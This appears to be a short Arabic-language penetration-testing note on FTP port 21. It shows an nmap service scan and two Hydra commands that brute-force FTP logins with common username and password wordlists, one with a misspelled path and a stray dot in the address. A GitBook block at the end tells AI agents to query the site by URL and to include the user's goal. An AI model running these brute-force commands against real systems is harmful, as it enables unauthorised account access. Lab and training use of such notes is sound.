> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/ports-and-services/ftp-21/ftp-brute-force-attack.md).
# FTP - هجوم القوة الغاشمة
1. شغّل الأمر التالي باستخدام [Nmap](/ar/reconnaissance/nmap.md) للتحقق من إصدار FTP والبحث عن الثغرات المعروفة:
```bash
nmap -sCV -p21 127.0.0.1
```
2. الإصدار المثبت هو **7.93** ولا يتم اكتشاف أي ثغرات معروفة.
3. نفّذ هجوم قوة غاشمة باستخدام **Hydra**. الأحرف الصغيرة `-l` أو `-p` تعني أن اسم المستخدم أو كلمة المرور ثابتان؛ أما الأحرف الكبيرة `-L` أو `-P` تعني أن Hydra يقرأ القيم من ملف.
```bash
hydra -l jordan -P /usr/share/wordlists/rockyou.txt ftp://127.0.0.1 -t 15
```
4. تم العثور على بيانات اعتماد صالحة.
**هجوم قوة غاشمة على FTP باستخدام قوائم كلمات شائعة لأسماء المستخدمين وكلمات المرور**
{% code overflow="wrap" %}
```bash
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-frameword/data/wordlists/unix_passwords.txt 10.10.10.10. -t 4 ftp
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/ar/ports-and-services/ftp-21/ftp-brute-force-attack.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.